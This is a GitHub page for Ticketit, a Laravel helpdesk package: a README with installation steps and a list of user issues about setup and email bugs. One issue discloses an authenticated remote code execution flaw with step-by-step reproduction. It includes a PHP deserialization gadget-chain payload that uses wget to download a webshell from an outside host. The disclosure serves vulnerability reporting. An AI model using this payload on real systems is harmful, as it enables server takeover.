A simple helpdesk tickets system for Laravel 5.1+ which integrates smoothly with Laravel default users and auth system

Overview

This project is archived!

That means no more expected updates or patches. It's a good idea to start looking for other alternatives.

Thanks for everyone contributed to this project for over 6 years.

Ticketit

A simple helpdesk tickets system for Laravel 5.1+ (5.1 – 5.8 and 6.* - 7.* - 8.*) which integrates smoothly with Laravel default users and auth system. It will integrate into your current Laravel project within minutes, and you can offer your customers and your team a nice and simple support ticket system.

Features:

  1. Three main users roles users, agents, and admins
  2. Users can create tickets, keep track of their tickets status, giving comments, and close their own tickets (access permissions are configurable)
  3. Auto assigning agents to tickets, the system searches for agents in specific department and auto select the agent with lowest queue
  4. Simple admin panel
  5. Localization (Arabic, Brazilian Portuguese, Deutsch (German), English, Farsi, French, Hungarian, Italian, Persian, Russian, and Spanish language packs are included)
  6. Very simple installation and integration process
  7. Admin dashboard with statistics and performance tracking graphs
  8. Simple text editor for tickets descriptions and comments allows images upload

Full features list (12+) and screen shots

Quick installation

If you'd like to install Ticketit as a standalone app, use our quick installer. This is a Laravel application pre-configured to work with Ticketit. Using the quick installer minimises the efforts and knowledge about Laravel needed to install Ticketit.

However if you'd like to include Ticketit in your existing project, skip to the next section.

Installation (manual):

Requirements

First Make sure you have got this Laravel setup working:

  1. Laravel 5.1+
  2. Users table
  3. Laravel email configuration
  4. Bootstrap 3, or Bootstrap 4
  5. Jquery

Dependents that are getting installed and configured automatically by Ticketit (no action required from you)

  1. LaravelCollective HTML
  2. Laravel Datatables
  3. HTML Purifier

Installation steps (4-8 minutes)

Step 1. Run this code via your terminal (1-2 minutes)

composer require 'kordy/ticketit:0.*'

Step 2. After install, you have to add this line on your config/app.php in Service Providers section (1-2 minutes).

Kordy\Ticketit\TicketitServiceProvider::class,

Step 3. Check if App\User exists

Step 4. Make sure you have authentication set up. In 5.2+, you can use php artisan make:auth

Step 5. Setting up your master view for Ticketit integration (1-2 minutes)

Step 6. Register at least one user into the system and log it in.

Step 7. Go ahead to http://your-project-url/tickets-install to finalize the installation (1-2 minutes)

Default ticketit front route: http://your-project-url/tickets

Default ticketit admin route: http://your-project-url/tickets-admin

Notes:

Make sure you have created at least one status, one prority, and one category before you start creating tickets.

If you move your installation folder to another path (or server), you need to update the row with slug='routes' in table ticketit_settings. After that, don't forget to flush the entire cache.

Upgrading to v0.4

After upgrading from 0.3.* to 0.4, visit url http://your-project-url/tickets-upgrade. This adds new rows to the config table automatically.

Documentation

Ticketit Wiki

Support:

Review features requests, give your feedback, suggest features, report issues

Live Demo

http://ticketit.kordy.info/tickets

Project contributors (the project heros):

Big thank you for all active people who took from their time to give their feedback and suggestions, they helped a lot to improve Ticketit for all of us.

https://github.com/thekordy/ticketit/graphs/contributors

Download statistics

statistics

Comments
  • Error installing

    Error installing

    Follow as doc https://github.com/thekordy/ticketit/wiki/How-to-install-Ticketit and the following errors appear :

    [ Illuminate \ Database \ QueryException ] SLQSTATE [ 42S02 ] : Base table or view not found : 1146 Table ' ticket.migrations ' does not exist (SQL : select * from migrations )

    [ PDOException ] SLQSTATE [ 42S02 ] : Base table or view not found : 1146 Table ' ticket.migrations ' does not exist

    Note : I created a clean laravel the project 5.1 *.

    Help Needed 
    opened by marciocelebri 28
  • auth Problem - Then undefined function get

    auth Problem - Then undefined function get

    Hello,

    I followed the tutorial and this didn't worked for me. I needed to uncomment in TicketitServiceProvider.php line 112 & 116 the middleware => auth. After that I was able to migrate the database with the post request.

    Changes where made in the database and I hoped it worked, but sadly not. Then I located to the /tickets page and Call to undefined function get() on line 5

    Thanks for your time and sorry for my english.

    Regards

    bug 
    opened by Devsome 21
  • Error on install

    Error on install

    hi, on domain/ticket-install laravel hit's a 500 error:

    [2015-11-04 17:14:56] production.ERROR: exception 'Symfony\Component\Debug\Exception\FatalErrorException' with message 'Maximum execution time of 30 seconds exceeded' in /var/www/domain.xyz/vendor/symfony/console/Formatter/OutputFormatter.php:165

    bug 
    opened by DanielAscher 21
  • Tickets not been displayed

    Tickets not been displayed

    tickets

    I have installed the packages successfully and everything runs smoothly but the only issue is that the tickets do not display. The counter bubble just increments to indicate number of tickets by the tickets cant be viewed. Whats the reason for this? And how can I alter the css so that some menu links appear?

    I have tried to add: @yield('footer') but the problem is still there....when I type: http://localhost:8000/tickets/4 the ticket with all its details can be viewed. I am confused.

    opened by sekhoanem 20
  • Dashboard

    Dashboard

    @fishmad @FusionDesign .. dears, I am going to work on the dashboard this week, to add some statistics and numbers, I am interested to know what do you think we should show in the dashboards.

    Feature Development v0.2.0 
    opened by thekordy 20
  • Simplifying Package Pre-requests

    Simplifying Package Pre-requests

    We should not ask users at upgrades or fresh installs to do a lot of preparing their application in order to use Ticketit package.

    In v0.2.0 we ask users to set up 2 non-default Laravel settings (users, emails), and to install 2 packages (collective forms, laravel datatables). I believe the less pre-requests we ask for the more attractive is the package.

    About dependents packages, Composer made it easy for installing dependents packages with no need of user interaction, so the only other thing remains is registering the dependents packages service provider and that can be done via TicketitServiceProvider as follow:

    /*
             * Register the service provider for the dependency.
             */
            $this->app->register('Collective\Html\HtmlServiceProvider');
            $this->app->register('yajra\Datatables\DatatablesServiceProvider');
            /*
             * Create aliases for the dependency.
             */
            $loader = \Illuminate\Foundation\AliasLoader::getInstance();
            $loader->alias('Form', 'Collective\Html\FormFacade');
            $loader->alias('Html', 'Collective\Html\FormFacade');
            $loader->alias('Datatables', 'yajra\Datatables\Datatables');
    
    Feature Development v0.2.0 
    opened by thekordy 20
  • rich text

    rich text

    Have you considered implementing some markdown, bbcode or some other wysiwyg editor functionality?

    It"s not important at all, just an idea for later when there's nothing with higher priority to do

    enhancement Feature Development 
    opened by balping 19
  • Instalación ticketit

    Instalación ticketit

    buenas soy nuevo utilizando este framework y al intentar instalar el sistema TIcketit presento un problema con: image

    el sistema después de autentificarse me muestra este mensaje de error: image

    Ya he configurado las migraciones desde la carpeta ticketit\vendor\kordy\ticketit\src\Migrations, las dependencias, la configuración de autentificacion y la vista maestra, los he seguido con el paso a paso https://github.com/thekordy/ticketit.

    pido su amable colaboración muchas gracias

    opened by VHSR9479 18
  • Problem after installation

    Problem after installation

    I just installed the ticket system, but am getting an error immediately when accessing the tickets, saying:

    DataTables warning: table id=DataTables_Table_0 - Invalid JSON response. For more information about this error, please see http://datatables.net/tn/1

    Also (because I thought it might be just a warning), I tried to create a ticket, but it seems like I get a problem sending a mail, the message says:

    ErrorException in dc81073f31b304a589fe02cb835417b554e048bd.php line 22:
    Trying to get property of non-object (View: \vendor\kordy\ticketit\src\Views\emails\assigned.blade.php)
    

    I completed the installation and everything seems to "look" okay, but I still get the error... BTW: It seems like the 2 tickets I tried to create where created, at least I can find two table entries in the table ticketit...

    opened by schuesslerf 18
  • accept new comments and tickets through email

    accept new comments and tickets through email

    Some notes: I wasn’t able to get the email attachments going through the validator class, so its currently doing a regex check on the extension type rather than checking against the mime the way the uploaded attachments do.

    I need some help getting the agent auto assignment working with newly created email tickets. I haven’t had time to get into the issue to make it work, so currently the “default_email_agent” needs to be an agent and not “auto”

    It would probably be better if the “imap_password” setting was hashed like a password should be but thats beyond me at the moment.

    opened by tmcdon89 18
  • Trying to get property of non-object -> Email Assign Notification

    Trying to get property of non-object -> Email Assign Notification

    Logged in as a normal user (non-admin, non-agent) and submit ticket and I got this error.

    2/2 ErrorException in 52418f3aa5e34f54df0cd1049af96859 line 7: Trying to get property of non-object (View: C:\file\vendor\kordy\ticketit\src\Views\emails\assigned_notification.blade.php)

    from below Line 7 is: 'status' => $ticket->status->name,

    $notification_owner->name, 'subject' => $ticket->subject, 'status' => $ticket->status->name, 'category' => $ticket->category->name ]); ?> subject, $ticket->id); ?> bug 
    opened by fishmad 18
  • Authenticated Remote Code Execution via Insecure Deserialization

    Authenticated Remote Code Execution via Insecure Deserialization

    Hello,

    I recently found it is possible to inject OS commands in the tickets-admin configuration. Steps to reproduce:

    1. Log into TicketIt
    2. Go to Settings -> Configuration
    3. Go to "Initial" tab
    4. Change bootstrap_version from 4 to 3
    5. Go to "Other" tab, click Add New Setting
    6. Put any value you want as the slug
    7. Paste this payload into the "Default Value" and/or "My Value" values: a:2:{i:7;O:29:"Illuminate\Support\MessageBag":2:{S:11:"\00*\00messages";a:0:{}S:9:"\00*\00format";O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:104:"<?php system('wget https://raw.githubusercontent.com/drag0s/php-webshell/master/webshell.php'); exit; ?>";}}}}i:7;i:7;}
    8. Click Submit
    9. Go to the new setting
    10. Click "Edit", now there is a webshell available at http://localhost:8000/webshell.php
    opened by ghost 0
  • E-Mail Function is not Working

    E-Mail Function is not Working

    Hello,

    Need help to understand the configurations of the email in .env file i have configured do i need to configure in mail.php as the notifications are not going through i am getting the following message also if possible to let me know where i can see the logs of email so that i can understand where is the issue.

    Mon Jun 28 07:07:14 2021] 127.0.0.1:40758 Accepted [Mon Jun 28 07:07:20 2021] 127.0.0.1:40758 Closed without sending a request; it was probably just an unused speculative preconnection [Mon Jun 28 07:07:20 2021] 127.0.0.1:40758 Closing

    KR, Naveed.

    opened by Naveed151214 0
  • Bootstrap 5

    Bootstrap 5

    Bootstrap 5 is underway and many new sites would be developing in bootstrap 5 as it offers more customizability and fluidity. Due to this, I have noticed that some functionality features of ticketit like the dropdown buttons and nav-tabs ect are now broken.

    I am wondering if there is anyone working on a bootstrap 5 update / fork for ticketit.

    opened by NeonOdyssey 0
  • Make sure that App\User exists

    Make sure that App\User exists

    Under installation steps. In point 3

    Step 3.Check if App\User exists

    If I navigate to this link it shows

    `<?php

    namespace App;

    class User extends Models\User { //leave this empty }`

    I have few questions

    1. What to write inside the class?
    2. If it is supposed to be empty then what is the point of creating it?
    3. How to create a user?
    opened by fasi1208 1
Releases(v0.4.9)
Owner
Ahmed Kordy
Ahmed Kordy
Open-source helpdesk ticketing system

Introduction Open-source helpdesk ticketing system No more confusing interfaces and operations! With Tickotty, you can quickly deal with support reque

Luceat 12 Oct 1, 2022
Hakkie is a social networking service on which users post and interact with messages

Hakkie Hakkie is a social networking service on which users post and interact with eachother with comments, likes, messages, blocks and silencing, ins

Felipe_Estevanatto 3 Sep 20, 2022
BraincraftedBootstrapBundle integrates Bootstrap into Symfony2 by providing templates, Twig extensions, services and commands.

BraincraftedBootstrapBundle BraincraftedBootstrapBundle helps you integrate Bootstrap in your Symfony2 project. BootstrapBundle also supports the offi

Braincrafted 403 Aug 13, 2022
A free and open-source accounting and production system for businesses and non-profits with support for multiple users and varied integrations

A free and open-source accounting and production system for businesses and non-profits with support for multiple users and varied integrations.

null 3 Sep 22, 2022
ToDoList With JetStearm. WireUI, LivewireUIModal, SweetAlert2 and Google Socialite Auth.

✔️ DoList DoList - Easy way to manage To Do List. ??️ Demo Demo: DoList.ir ScreenShots: ScreenShots ?? Requirements PHP version: >= 7.4 Composer Node.

Ali Ghasemzadeh 7 Sep 27, 2021
Stream Site with a auth script for OvenMediaEngine

OvenMediaEngine Stream Site Two PHP pages, one for authentication. The other is for displaying the streams. License AGPL Previews Installation Require

Katie 1 Oct 15, 2021
Online personal and group chat application using HTML, CSS, JS, PHP,SQL and AJAX that allows users to create own groups, chat

Online personal and group chat application using HTML, CSS, JS, PHP,SQL and AJAX that allows users to create own groups, chat, make friends, check new notifications and edit functionality. Chat automatically updates using AJAX to allow for real-time chatting with other users collected from the database.

Dave Sharma 2 Aug 5, 2022
Laravel website prototype with backoffice for content and users management

LaraProto LaraProto is a Laravel website prototype with backoffice for content and users management. Just install and glue your front end views Based

Marco Afonso 7 Aug 26, 2016
Instagram automation represents the use of third-party software to manage your account, carry out tasks and/or interact with users without a human present. Bulit in Laravel Framework

How to Deploy laravel project to heroku Video Link : https://youtu.be/7Nq_a2QiaHo Home Page Login Page Dashboard Page About Laravel Laravel is a web a

null 1 Dec 3, 2021
An attempt at a usable, generic VPS panel for providers and power users.

An attempt at a usable, generic VPS panel for providers and power users. Key goals are to be clean, easy to use, and support Proxmox as well as other providers (Libvirt via Go API, etc) using one simple interface.

null 1 Oct 3, 2022
Retrieve MySejahtera App's data from MySejahtera API and show to users via web browser. Written in PHP

MySejahtera-PHP-Web Retrieve MySejahtera App's data from MySejahtera API and show to users via web browser. Written in PHP. Disclaimer This web app is

Sam Sam 3 Oct 21, 2022
The platform allows you to manage articles, comments, tags, categories, and users for a blogging platform.

Laravel Blogging Platform The platform allows you to manage articles, comments, tags, categories, and users for a blogging platform. The project was w

Khaled Farhat 6 Oct 2, 2022
Anemone - an application that centralizes users' documentation queries

Anemone C. Sun, F. Imadegbelo, F. Johnston, T. Rowe, W. Zhai Anemone is an application that centralizes users' documentation queries. A user will be a

Temple University, CIS department 5 Apr 22, 2022
A live chat which utilises Socket.io and validates messages sent against a MySQL Table.

Socket.io Shoutbox with MySQL Validation The purpouse of this demonstration is to allow users to enter messages in either a public or private chat. Th

Jefff 9 Oct 14, 2022
Created simple login system and chat type website using mysql database along with php and html , css and javascript.

Created simple login system and chat type website using mysql database along with php and html , css and javascript.

null 1 Jan 6, 2022
Shoutit is a PHP powered shoutbox which uses mySQL to store shouts

This is a very basic PHP/MySQL application. built to prove my usuage of basic php + MySQL. It is very easy to use, has error checking, and very fast. Users can post shouts along with their names & comment.

Roman Hossain Shaon 10 Oct 10, 2022
A dolibarr module which pushes invoices to AADE MyDATA service

DOLIBARR ERP & CRM MODULE FOR GREEK AADE MYDATA This Dolibarr module pushes invoices to AADE MyDATA Check also that the /custom directory is active by

null 15 Nov 22, 2022
Simple and fast issue tracking system

Treenga — Simple and fast issue tracking system Treenga is simple. Team functions as the main umbrella under which all issues sit. It shares everythin

null 38 Dec 24, 2022
This is a simple blog system, you can sign up and create post.

About Laravel Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experie

Nnadi Chimezie Charles 1 Jan 8, 2022